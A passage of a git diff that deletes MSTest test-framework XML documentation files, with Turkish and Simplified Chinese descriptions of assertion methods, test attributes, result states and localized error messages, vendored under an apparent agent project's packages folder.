koleksiyon. Testte bu koleksiyonun - eşleşmemesi beklenir . - - - Karşılaştırılacak ikinci koleksiyon. Test kapsamındaki kod tarafından bu - koleksiyon oluşturulur. - - - Koleksiyonun öğeleri karşılaştırılırken kullanılacak karşılaştırma uygulaması. - - - Şu durumda özel duruma dahil edilecek ileti: - şuna eşittir: . İleti test sonuçlarında - gösterilir. - - - Thrown if is equal to . - - - - - Belirtilen koleksiyonların eşit olup olmadığını test eder ve iki koleksiyon eşitse - bir özel durum oluşturur. Eşitlik aynı öğelere aynı sırayla ve - aynı miktarda sahip olunması olarak tanımlanır. Aynı değere yönelik farklı başvurular - eşit olarak kabul edilir. - - - Karşılaştırılacak birinci koleksiyon. Testte bu koleksiyonun - eşleşmemesi beklenir . - - - Karşılaştırılacak ikinci koleksiyon. Test kapsamındaki kod tarafından bu - koleksiyon oluşturulur. - - - Koleksiyonun öğeleri karşılaştırılırken kullanılacak karşılaştırma uygulaması. - - - Şu durumda özel duruma dahil edilecek ileti: - şuna eşittir: . İleti test sonuçlarında - gösterilir. - - - Şu parametre biçimlendirilirken kullanılacak parametre dizisi: . - - - Thrown if is equal to . - - - - - Birinci koleksiyonun ikinci koleksiyona ait bir alt küme olup - olmadığını belirler. Kümelerden biri yinelenen öğeler içeriyorsa, - öğenin alt kümedeki oluşum sayısı üst kümedeki oluşum sayısına - eşit veya bu sayıdan daha az olmalıdır. - - - Testin içinde bulunmasını beklediği koleksiyon . - - - Testin içermesini beklediği koleksiyon . - - - Şu durumda true: şunun bir alt kümesidir: - , aksi takdirde false. - - - - - Belirtilen koleksiyondaki her öğenin oluşum sayısını içeren bir - sözlük oluşturur. - - - İşlenecek koleksiyon. - - - Koleksiyondaki null öğe sayısı. - - - Belirtilen koleksiyondaki her öğenin oluşum sayısını içeren - bir sözlük. - - - - - İki koleksiyon arasında eşleşmeyen bir öğe bulur. Eşleşmeyen öğe, - beklenen koleksiyonda gerçek koleksiyondakinden farklı sayıda görünen - öğedir. Koleksiyonların, - aynı sayıda öğeye sahip null olmayan farklı başvurular olduğu - varsayılır. Bu doğrulama düzeyinden - çağıran sorumludur. Eşleşmeyen bir öğe yoksa işlev - false değerini döndürür ve dış parametreler kullanılmamalıdır. - - - Karşılaştırılacak birinci koleksiyon. - - - Karşılaştırılacak ikinci koleksiyon. - - - Şunun için beklenen oluşma sayısı: - veya uyumsuz öğe yoksa - 0. - - - Gerçek oluşma sayısı: - veya uyumsuz öğe yoksa - 0. - - - Uyumsuz öğe (null olabilir) veya uyumsuz bir - öğe yoksa null. - - - uyumsuz bir öğe bulunduysa true; aksi takdirde false. - - - - - object.Equals kullanarak nesneleri karşılaştırır - - - - - Çerçeve Özel Durumları için temel sınıf. - - - - - sınıfının yeni bir örneğini başlatır. - - - - - sınıfının yeni bir örneğini başlatır. - - İleti. - Özel durum. - - - - sınıfının yeni bir örneğini başlatır. - - İleti. - - - - Yerelleştirilmiş dizeleri aramak gibi işlemler için, türü kesin olarak belirtilmiş kaynak sınıfı. - - - - - Bu sınıf tarafından kullanılan, önbelleğe alınmış ResourceManager örneğini döndürür. - - - - - Türü kesin olarak belirlenmiş bu kaynak sınıfını kullanan - tüm kaynak aramaları için geçerli iş parçacığının CurrentUICulture özelliğini geçersiz kılar. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: Erişim dizesinde geçersiz söz dizimi var. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: Beklenen koleksiyon {1} <{2}> oluşumu içeriyor. Gerçek koleksiyon {3} oluşum içeriyor. {0}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: Yinelenen öğe bulundu:<{1}>. {0}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: Beklenen:<{1}>. Gerçek değer için büyük/küçük harf kullanımı farklı:<{2}>. {0}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: Beklenen <{1}> değeri ile gerçek <{2}> değeri arasında en fazla <{3}> fark bekleniyordu. {0}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: Beklenen:<{1} ({2})>. Gerçek:<{3} ({4})>. {0}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: Beklenen:<{1}>. Gerçek:<{2}>. {0}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: Beklenen <{1}> değeri ile gerçek <{2}> değeri arasında <{3}> değerinden büyük bir fark bekleniyordu. {0}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: <{1}> dışında bir değer bekleniyordu. Gerçek:<{2}>. {0}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: Değer türlerini AreSame() metoduna geçirmeyin. Object türüne dönüştürülen değerler hiçbir zaman aynı olmaz. AreEqual(). kullanmayı deneyin {0}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: {0} başarısız oldu. {1}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: UITestMethodAttribute özniteliğine sahip async TestMethod metodu desteklenmiyor. async ifadesini kaldırın ya da TestMethodAttribute özniteliğini kullanın. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: Her iki koleksiyon da boş. {0}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: Her iki koleksiyon da aynı öğeleri içeriyor. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: Her iki koleksiyon başvurusu da aynı koleksiyon nesnesini işaret ediyor. {0}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: Her iki koleksiyon da aynı öğeleri içeriyor. {0}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: {0}({1}). - - - - - Şuna benzer bir yerelleştirilmiş dize arar: null. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: nesne. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: '{0}' dizesi '{1}' dizesini içermiyor. {2}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: {0} ({1}). - - - - - Şuna benzer bir yerelleştirilmiş dize arar: Assert.Equals, Onaylamalar için kullanılmamalıdır. Lütfen bunun yerine Assert.AreEqual ve aşırı yüklemelerini kullanın. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: Koleksiyonlardaki öğe sayıları eşleşmiyor. Beklenen:<{1}>. Gerçek:<{2}>.{0}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: {0} dizinindeki öğe eşleşmiyor. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: {1} dizinindeki öğe beklenen türde değil. Beklenen tür:<{2}>. Gerçek tür:<{3}>.{0}. - - - - - Şuna benzer bir yerelleştirilmiş dizeyi arar: {1} dizinindeki öğe (null). Beklenen tür:<{2}>.{0}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: '{0}' dizesi '{1}' dizesiyle bitmiyor. {2}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: Geçersiz bağımsız değişken. EqualsTester null değerler kullanamaz. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: {0} türündeki nesne {1} türüne dönüştürülemiyor. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: Başvurulan iç nesne artık geçerli değil. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: '{0}' parametresi geçersiz. {1}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: {0} özelliği {1} türüne sahip; beklenen tür {2}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: {0} Beklenen tür:<{1}>. Gerçek tür:<{2}>. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: '{0}' dizesi '{1}' deseniyle eşleşmiyor. {2}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: Yanlış Tür:<{1}>. Gerçek tür:<{2}>. {0}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: '{0}' dizesi '{1}' deseniyle eşleşiyor. {2}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: No DataRowAttribute belirtilmedi. DataTestMethodAttribute ile en az bir DataRowAttribute gereklidir. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: Özel durum oluşturulmadı. {1} özel durumu bekleniyordu. {0}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: '{0}' parametresi geçersiz. Değer null olamaz. {1}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: Farklı sayıda öğe. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: - Belirtilen imzaya sahip oluşturucu bulunamadı. Özel erişimcinizi yeniden oluşturmanız gerekebilir - veya üye özel ve bir temel sınıfta tanımlanmış olabilir. İkinci durum geçerliyse üyeyi - tanımlayan türü PrivateObject oluşturucusuna geçirmeniz gerekir. - . - - - - - Şuna benzer bir yerelleştirilmiş dize arar: - Belirtilen üye ({0}) bulunamadı. Özel erişimcinizi yeniden oluşturmanız gerekebilir - veya üye özel ve bir temel sınıfta tanımlanmış olabilir. İkinci durum geçerliyse üyeyi tanımlayan türü - PrivateObject oluşturucusuna geçirmeniz gerekir. - . - - - - - Şuna benzer bir yerelleştirilmiş dize arar: '{0}' dizesi '{1}' dizesiyle başlamıyor. {2}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: Beklenen özel durum türü System.Exception veya System.Exception'dan türetilmiş bir tür olmalıdır. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: Bir özel durum nedeniyle {0} türündeki özel durum için ileti alınamadı. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: Test metodu beklenen {0} özel durumunu oluşturmadı. {1}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: Test metodu bir özel durum oluşturmadı. Test metodunda tanımlanan {0} özniteliği tarafından bir özel durum bekleniyordu. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: Test metodu {0} özel durumunu oluşturdu, ancak {1} özel durumu bekleniyordu. Özel durum iletisi: {2}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: Test metodu {0} özel durumunu oluşturdu, ancak {1} özel durumu veya bundan türetilmiş bir tür bekleniyordu. Özel durum iletisi: {2}. - - - - - Şuna benzer bir yerelleştirilmiş dize arar: {2} özel durumu oluşturuldu, ancak {1} özel durumu bekleniyordu. {0} - Özel Durum İletisi: {3} - Yığın İzleme: {4}. - - - - - birim testi sonuçları - - - - - Test yürütüldü ancak sorunlar oluştu. - Sorunlar özel durumları veya başarısız onaylamaları içerebilir. - - - - - Test tamamlandı ancak başarılı olup olmadığı belli değil. - İptal edilen testler için kullanılabilir. - - - - - Test bir sorun olmadan yürütüldü. - - - - - Test şu anda yürütülüyor. - - - - - Test yürütülmeye çalışılırken bir sistem hatası oluştu. - - - - - Test zaman aşımına uğradı. - - - - - Test, kullanıcı tarafından iptal edildi. - - - - - Test bilinmeyen bir durumda - - - - - Birim testi çerçevesi için yardımcı işlevini sağlar - - - - - Yinelemeli olarak tüm iç özel durumların iletileri dahil olmak üzere - özel durum iletilerini alır - - Şunun için iletilerin alınacağı özel durum: - hata iletisi bilgilerini içeren dize - - - - Zaman aşımları için sınıfı ile birlikte kullanılabilen sabit listesi. - Sabit listesinin türü eşleşmelidir - - - - - Sonsuz. - - - - - Test sınıfı özniteliği. - - - - - Bu testi çalıştırmayı sağlayan bir test metodu özniteliği alır. - - Bu metot üzerinde tanımlanan test metodu özniteliği örneği. - The bu testi çalıştırmak için kullanılabilir. - Extensions can override this method to customize how all methods in a class are run. - - - - Test metodu özniteliği. - - - - - Bir test metodu yürütür. - - Yürütülecek test metodu. - Testin sonuçlarını temsil eden bir TestResult nesneleri dizisi. - Extensions can override this method to customize running a TestMethod. - - - - Test başlatma özniteliği. - - - - - Test temizleme özniteliği. - - - - - Ignore özniteliği. - - - - - Test özelliği özniteliği. - - - - - sınıfının yeni bir örneğini başlatır. - - - Ad. - - - Değer. - - - - - Adı alır. - - - - - Değeri alır. - - - - - Sınıf başlatma özniteliği. - - - - - Sınıf temizleme özniteliği. - - - - - Bütünleştirilmiş kod başlatma özniteliği. - - - - - Bütünleştirilmiş kod temizleme özniteliği. - - - - - Test Sahibi - - - - - sınıfının yeni bir örneğini başlatır. - - - Sahip. - - - - - Sahibi alır. - - - - - Priority özniteliği; birim testinin önceliğini belirtmek için kullanılır. - - - - - sınıfının yeni bir örneğini başlatır. - - - Öncelik. - - - - - Önceliği alır. - - - - - Testin açıklaması - - - - - Bir testi açıklamak için kullanılan sınıfının yeni bir örneğini başlatır. - - Açıklama. - - - - Bir testin açıklamasını alır. - - - - - CSS Proje Yapısı URI'si - - - - - CSS Proje Yapısı URI'si için sınıfının yeni bir örneğini başlatır. - - CSS Proje Yapısı URI'si. - - - - CSS Proje Yapısı URI'sini alır. - - - - - CSS Yineleme URI'si - - - - - CSS Yineleme URI'si için sınıfının yeni bir örneğini başlatır. - - CSS Yineleme URI'si. - - - - CSS Yineleme URI'sini alır. - - - - - WorkItem özniteliği; bu testle ilişkili bir çalışma öğesini belirtmek için kullanılır. - - - - - WorkItem Özniteliği için sınıfının yeni bir örneğini başlatır. - - Bir iş öğesinin kimliği. - - - - İlişkili bir iş öğesinin kimliğini alır. - - - - - Timeout özniteliği; bir birim testinin zaman aşımını belirtmek için kullanılır. - - - - - sınıfının yeni bir örneğini başlatır. - - - Zaman aşımı. - - - - - sınıfının önceden ayarlanmış bir zaman aşımı ile yeni bir örneğini başlatır - - - Zaman aşımı - - - - - Zaman aşımını alır. - - - - - Bağdaştırıcıya döndürülecek TestResult nesnesi. - - - - - sınıfının yeni bir örneğini başlatır. - - - - - Sonucun görünen adını alır veya ayarlar. Birden fazla sonuç döndürürken yararlıdır. - Null ise Metot adı DisplayName olarak kullanılır. - - - - - Test yürütmesinin sonucunu alır veya ayarlar. - - - - - Test başarısız olduğunda oluşturulan özel durumu alır veya ayarlar. - - - - - Test kodu tarafından günlüğe kaydedilen iletinin çıktısını alır veya ayarlar. - - - - - Test kodu tarafından günlüğe kaydedilen iletinin çıktısını alır veya ayarlar. - - - - - Test koduna göre hata ayıklama izlemelerini alır veya ayarlar. - - - - - Gets or sets the debug traces by test code. - - - - - Test yürütme süresini alır veya ayarlar. - - - - - Veri kaynağındaki veri satırı dizinini alır veya ayarlar. Yalnızca, veri tabanlı bir testin tek bir veri satırının - çalıştırılmasına ait sonuçlar için ayarlayın. - - - - - Test metodunun dönüş değerini alır veya ayarlar. (Şu anda her zaman null). - - - - - Test tarafından eklenen sonuç dosyalarını alır veya ayarlar. - - - - - Veri tabanlı test için bağlantı dizesini, tablo adını ve satır erişim metodunu belirtir. - - - [DataSource("Provider=SQLOLEDB.1;Data Source=source;Integrated Security=SSPI;Initial Catalog=EqtCoverage;Persist Security Info=False", "MyTable")] - [DataSource("dataSourceNameFromConfigFile")] - - - - - DataSource için varsayılan sağlayıcı adı. - - - - - Varsayılan veri erişimi metodu. - - - - - sınıfının yeni bir örneğini başlatır. Bu örnek bir veri sağlayıcısı, bağlantı dizesi, veri tablosu ve veri kaynağına erişmek için kullanılan veri erişimi metodu ile başlatılır. - - System.Data.SqlClient gibi değişmez veri sağlayıcısı adı - - Veri sağlayıcısına özgü bağlantı dizesi. - UYARI: Bağlantı dizesi, hassas veriler (parola gibi) içerebilir. - Bağlantı dizesi, kaynak kodunda ve derlenmiş bütünleştirilmiş kodda düz metin olarak depolanır. - Bu hassas bilgileri korumak için kaynak koda ve bütünleştirilmiş koda erişimi kısıtlayın. - - Veri tablosunun adı. - Verilere erişme sırasını belirtir. - - - - sınıfının yeni bir örneğini başlatır. Bu örnek bir bağlantı dizesi ve tablo adı ile başlatılır. - OLEDB veri kaynağına erişmek için kullanılan bağlantı dizesini ve veri tablosunu belirtin. - - - Veri sağlayıcısına özgü bağlantı dizesi. - UYARI: Bağlantı dizesi, hassas veriler (parola gibi) içerebilir. - Bağlantı dizesi, kaynak kodunda ve derlenmiş bütünleştirilmiş kodda düz metin olarak depolanır. - Bu hassas bilgileri korumak için kaynak koda ve bütünleştirilmiş koda erişimi kısıtlayın. - - Veri tablosunun adı. - - - - sınıfının yeni bir örneğini başlatır. Bu örnek bir veri sağlayıcısı ile ve ayar adıyla ilişkili bir bağlantı dizesi ile başlatılır. - - App.config dosyasındaki <microsoft.visualstudio.qualitytools> bölümünde bulunan veri kaynağının adı. - - - - Veri kaynağının veri sağlayıcısını temsil eden bir değer alır. - - - Veri sağlayıcısı adı. Nesne başlatılırken bir veri sağlayıcısı belirtilmemişse varsayılan System.Data.OleDb sağlayıcısı döndürülür. - - - - - Veri kaynağının bağlantı dizesini temsil eden bir değer alır. - - - - - Verileri sağlayan tablo adını belirten bir değer alır. - - - - - Veri kaynağına erişmek için kullanılan metodu alır. - - - - Bir değerlerdir. Eğer başlatılmazsa, varsayılan değeri döndürür . - - - - - App.config dosyasındaki <microsoft.visualstudio.qualitytools> bölümünde bulunan bir veri kaynağının adını alır. - - - - - Verilerin satır içi belirtilebileceği veri tabanlı testin özniteliği. - - - - - Tüm veri satırlarını bulur ve yürütür. - - - Test Yöntemi. - - - Bir . - - - - - Veri tabanlı test metodunu çalıştırır. - - Yürütülecek test yöntemi. - Veri Satırı. - Yürütme sonuçları. - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/zh-Hans/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/zh-Hans/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml deleted file mode 100644 index c839eabe..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/zh-Hans/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml +++ /dev/null @@ -1,93 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions - - - - - 用于为预测试部署指定部署项(文件或目录)。 - 可在测试类或测试方法上指定。 - 可使用多个特性实例来指定多个项。 - 项路径可以是绝对路径或相对路径,如果为相对路径,则相对于 RunConfig.RelativePathRoot。 - - - [DeploymentItem("file1.xml")] - [DeploymentItem("file2.xml", "DataFiles")] - [DeploymentItem("bin\Debug")] - - - DeploymentItemAttribute is currently not supported in .Net Core. This is just a placehodler for support in the future. - - - - - 初始化 类的新实例。 - - 要部署的文件或目录。路径与生成输出目录相关。将项复制到与已部署测试程序集相同的目录。 - - - - 初始化 类的新实例 - - 要部署的文件或目录的相对路径或绝对路径。该路径相对于生成输出目录。将项复制到与已部署测试程序集相同的目录。 - 要将项复制到其中的目录路径。它可以是绝对部署目录或相对部署目录。所有由以下对象标识的文件和目录: 将复制到此目录。 - - - - 获取要复制的源文件或文件夹的路径。 - - - - - 获取将项复制到其中的目录路径。 - - - - - TestContext 类。此类应完全抽象,且不包含任何 - 成员。适配器将实现成员。框架中的用户应 - 仅通过定义完善的接口对此进行访问。 - - - - - 获取测试的测试属性。 - - - - - 获取包含当前正在执行的测试方法的类的完全限定名称 - - - This property can be useful in attributes derived from ExpectedExceptionBaseAttribute. - Those attributes have access to the test context, and provide messages that are included - in the test results. Users can benefit from messages that include the fully-qualified - class name in addition to the name of the test method currently being executed. - - - - - 获取当前正在执行的测试方法的名称 - - - - - 获取当前测试结果。 - - - - - Used to write trace messages while the test is running - - formatted message string - - - - Used to write trace messages while the test is running - - format string - the arguments - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/zh-Hans/Microsoft.VisualStudio.TestPlatform.TestFramework.xml b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/zh-Hans/Microsoft.VisualStudio.TestPlatform.TestFramework.xml deleted file mode 100644 index 0ccce3fa..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/netstandard1.0/zh-Hans/Microsoft.VisualStudio.TestPlatform.TestFramework.xml +++ /dev/null @@ -1,4201 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework - - - - - 用于执行的 TestMethod。 - - - - - 获取测试方法的名称。 - - - - - 获取测试类的名称。 - - - - - 获取测试方法的返回类型。 - - - - - 获取测试方法的参数。 - - - - - 获取测试方法的 methodInfo。 - - - This is just to retrieve additional information about the method. - Do not directly invoke the method using MethodInfo. Use ITestMethod.Invoke instead. - - - - - 调用测试方法。 - - - 传递到测试方法的参数(例如,对于数据驱动) - - - 测试方法调用的结果。 - - - This call handles asynchronous test methods as well. - - - - - 获取测试方法的所有属性。 - - - 父类中定义的任何属性都有效。 - - - 所有特性。 - - - - - 获取特定类型的属性。 - - System.Attribute type. - - 父类中定义的任何属性都有效。 - - - 指定类型的属性。 - - - - - 帮助程序。 - - - - - 非 null 的检查参数。 - - - 参数。 - - - 参数名称。 - - - 消息。 - - Throws argument null exception when parameter is null. - - - - 不为 null 或不为空的检查参数。 - - - 参数。 - - - 参数名称。 - - - 消息。 - - Throws ArgumentException when parameter is null. - - - - 枚举在数据驱动测试中访问数据行的方式。 - - - - - 按连续顺序返回行。 - - - - - 按随机顺序返回行。 - - - - - 用于定义测试方法内联数据的属性。 - - - - - 初始化 类的新实例。 - - 数据对象。 - - - - 初始化采用参数数组的 类的新实例。 - - 一个数据对象。 - 更多数据。 - - - - 获取数据以调用测试方法。 - - - - - 在测试结果中为自定义获取或设置显示名称。 - - - - - 断言无结论异常。 - - - - - 初始化 类的新实例。 - - 消息。 - 异常。 - - - - 初始化 类的新实例。 - - 消息。 - - - - 初始化 类的新实例。 - - - - - InternalTestFailureException 类。用来指示测试用例的内部错误 - - - This class is only added to preserve source compatibility with the V1 framework. - For all practical purposes either use AssertFailedException/AssertInconclusiveException. - - - - - 初始化 类的新实例。 - - 异常消息。 - 异常。 - - - - 初始化 类的新实例。 - - 异常消息。 - - - - 初始化 类的新实例。 - - - - - 指定引发指定类型异常的属性 - - - - - 初始化含有预期类型的 类的新实例 - - 预期异常的类型 - - - - 初始化 类的新实例, - 测试未引发异常时,该类中会包含预期类型和消息。 - - 预期异常的类型 - - 测试由于未引发异常而失败时测试结果中要包含的消息 - - - - - 获取指示预期异常类型的值 - - - - - 获取或设置一个值,指示是否允许将派生自预期异常类型的类型 - 作为预期类型 - - - - - 如果由于未引发异常导致测试失败,获取该消息以将其附加在测试结果中 - - - - - 验证由单元测试引发的异常类型是否为预期类型 - - 由单元测试引发的异常 - - - - 指定应从单元测试引发异常的属性基类 - - - - - 初始化含有默认无异常消息的 类的新实例 - - - - - 初始化含有一条无异常消息的 类的新实例 - - - 测试由于未引发异常而失败时测试结果中要包含的 - 消息 - - - - - 如果由于未引发异常导致测试失败,获取该消息以将其附加在测试结果中 - - - - - 如果由于未引发异常导致测试失败,获取该消息以将其附加在测试结果中 - - - - - 获取默认无异常消息 - - ExpectedException 特性类型名称 - 默认非异常消息 - - - - 确定该异常是否为预期异常。如果返回了方法,则表示 - 该异常为预期异常。如果方法引发异常,则表示 - 该异常不是预期异常,且引发的异常消息 - 包含在测试结果中。为了方便, - 可使用 类。如果使用了 且断言失败, - 则表示测试结果设置为了“无结论”。 - - 由单元测试引发的异常 - - - - 如果异常为 AssertFailedException 或 AssertInconclusiveException,则再次引发该异常 - - 如果是断言异常则要重新引发的异常 - - - - 此类旨在帮助用户使用泛型类型为类型执行单元测试。 - GenericParameterHelper 满足某些常见的泛型类型限制, - 如: - 1.公共默认构造函数 - 2.实现公共接口: IComparable,IEnumerable - - - - - 初始化 类的新实例, - 该类满足 C# 泛型中的“可续订”约束。 - - - This constructor initializes the Data property to a random value. - - - - - 初始化 类的新实例, - 该类将数据属性初始化为用户提供的值。 - - 任意整数值 - - - - 获取或设置数据 - - - - - 比较两个 GenericParameterHelper 对象的值 - - 要进行比较的对象 - 如果 obj 与“此”GenericParameterHelper 对象具有相同的值,则为 true。 - 反之则为 false。 - - - - 为此对象返回哈希代码。 - - 哈希代码。 - - - - 比较两个 对象的数据。 - - 要比较的对象。 - - 有符号的数字表示此实例和值的相对值。 - - - Thrown when the object passed in is not an instance of . - - - - - 返回一个 IEnumerator 对象,该对象的长度派生自 - 数据属性。 - - IEnumerator 对象 - - - - 返回与当前对象相同的 GenericParameterHelper - 对象。 - - 克隆对象。 - - - - 允许用户记录/编写单元测试的跟踪以进行诊断。 - - - - - 用于 LogMessage 的处理程序。 - - 要记录的消息。 - - - - 要侦听的事件。单元测试编写器编写某些消息时引发。 - 主要供适配器使用。 - - - - - 测试编写器要将其调用到日志消息的 API。 - - 带占位符的字符串格式。 - 占位符的参数。 - - - - TestCategory 属性;用于指定单元测试的分类。 - - - - - 初始化 类的新实例并将分类应用到该测试。 - - - 测试类别。 - - - - - 获取已应用到测试的测试类别。 - - - - - "Category" 属性的基类 - - - The reason for this attribute is to let the users create their own implementation of test categories. - - test framework (discovery, etc) deals with TestCategoryBaseAttribute. - - The reason that TestCategories property is a collection rather than a string, - is to give more flexibility to the user. For instance the implementation may be based on enums for which the values can be OR'ed - in which case it makes sense to have single attribute rather than multiple ones on the same test. - - - - - 初始化 类的新实例。 - 将分类应用到测试。TestCategories 返回的字符串 - 与 /category 命令一起使用,以筛选测试 - - - - - 获取已应用到测试的测试分类。 - - - - - AssertFailedException 类。用于指示测试用例失败 - - - - - 初始化 类的新实例。 - - 消息。 - 异常。 - - - - 初始化 类的新实例。 - - 消息。 - - - - 初始化 类的新实例。 - - - - - 帮助程序类的集合,用于测试单元测试中 - 的各种条件。如果不满足被测条件,则引发 - 一个异常。 - - - - - 获取 Assert 功能的单一实例。 - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void IsOfType<T>(this Assert assert, object obj)" - Users could then use a syntax similar to the default assertions which in this case is "Assert.That.IsOfType<Dog>(animal);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - 测试指定条件是否为 true, - 如果该条件为 false,则引发一个异常。 - - - 测试预期为 true 的条件。 - - - Thrown if is false. - - - - - 测试指定条件是否为 true, - 如果该条件为 false,则引发一个异常。 - - - 测试预期为 true 的条件。 - - - 要包含在异常中的消息,条件是当 - 为 false。消息显示在测试结果中。 - - - Thrown if is false. - - - - - 测试指定条件是否为 true, - 如果该条件为 false,则引发一个异常。 - - - 测试预期为 true 的条件。 - - - 要包含在异常中的消息,条件是当 - 为 false。消息显示在测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if is false. - - - - - 测试指定条件是否为 false,如果条件为 true, - 则引发一个异常。 - - - 测试预期为 false 的条件。 - - - Thrown if is true. - - - - - 测试指定条件是否为 false,如果条件为 true, - 则引发一个异常。 - - - 测试预期为 false 的条件。 - - - 要包含在异常中的消息,条件是当 - 为 true。消息显示在测试结果中。 - - - Thrown if is true. - - - - - 测试指定条件是否为 false,如果条件为 true, - 则引发一个异常。 - - - 测试预期为 false 的条件。 - - - 要包含在异常中的消息,条件是当 - 为 true。消息显示在测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if is true. - - - - - 测试指定的对象是否为 null,如果不是, - 则引发一个异常。 - - - 测试预期为 null 的对象。 - - - Thrown if is not null. - - - - - 测试指定的对象是否为 null,如果不是, - 则引发一个异常。 - - - 测试预期为 null 的对象。 - - - 要包含在异常中的消息,条件是当 - 不为 null。消息显示在测试结果中。 - - - Thrown if is not null. - - - - - 测试指定的对象是否为 null,如果不是, - 则引发一个异常。 - - - 测试预期为 null 的对象。 - - - 要包含在异常中的消息,条件是当 - 不为 null。消息显示在测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if is not null. - - - - - 测试指定对象是否非 null,如果为 null, - 则引发一个异常。 - - - 测试预期不为 null 的对象。 - - - Thrown if is null. - - - - - 测试指定对象是否非 null,如果为 null, - 则引发一个异常。 - - - 测试预期不为 null 的对象。 - - - 要包含在异常中的消息,条件是当 - 为 null。消息显示在测试结果中。 - - - Thrown if is null. - - - - - 测试指定对象是否非 null,如果为 null, - 则引发一个异常。 - - - 测试预期不为 null 的对象。 - - - 要包含在异常中的消息,条件是当 - 为 null。消息显示在测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if is null. - - - - - 测试指定的两个对象是否引用同一对象, - 如果两个输入不引用同一对象,则引发一个异常。 - - - 要比较的第一个对象。这是测试预期的值。 - - - 要比较的第二个对象。这是测试下代码生成的值。 - - - Thrown if does not refer to the same object - as . - - - - - 测试指定的两个对象是否引用同一对象, - 如果两个输入不引用同一对象,则引发一个异常。 - - - 要比较的第一个对象。这是测试预期的值。 - - - 要比较的第二个对象。这是测试下代码生成的值。 - - - 要包含在异常中的消息,条件是当 - 不相同 。消息显示 - 在测试结果中。 - - - Thrown if does not refer to the same object - as . - - - - - 测试指定的两个对象是否引用同一对象, - 如果两个输入不引用同一对象,则引发一个异常。 - - - 要比较的第一个对象。这是测试预期的值。 - - - 要比较的第二个对象。这是测试下代码生成的值。 - - - 要包含在异常中的消息,条件是当 - 不相同 。消息显示 - 在测试结果中。 - - - 在格式化时使用的参数数组 。 - - - Thrown if does not refer to the same object - as . - - - - - 测试指定的对象是否引用了不同对象, - 如果两个输入引用同一对象,则引发一个异常。 - - - 要比较的第一个对象。这是测试预期与 - 以下内容不匹配的值: 。 - - - 要比较的第二个对象。这是测试下代码生成的值。 - - - Thrown if refers to the same object - as . - - - - - 测试指定的对象是否引用了不同对象, - 如果两个输入引用同一对象,则引发一个异常。 - - - 要比较的第一个对象。这是测试预期与 - 以下内容不匹配的值: 。 - - - 要比较的第二个对象。这是测试下代码生成的值。 - - - 要包含在异常中的消息,条件是当 - 相同 。消息显示在 - 测试结果中。 - - - Thrown if refers to the same object - as . - - - - - 测试指定的对象是否引用了不同对象, - 如果两个输入引用同一对象,则引发一个异常。 - - - 要比较的第一个对象。这是测试预期与 - 以下内容不匹配的值: 。 - - - 要比较的第二个对象。这是测试下代码生成的值。 - - - 要包含在异常中的消息,条件是当 - 相同 。消息显示在 - 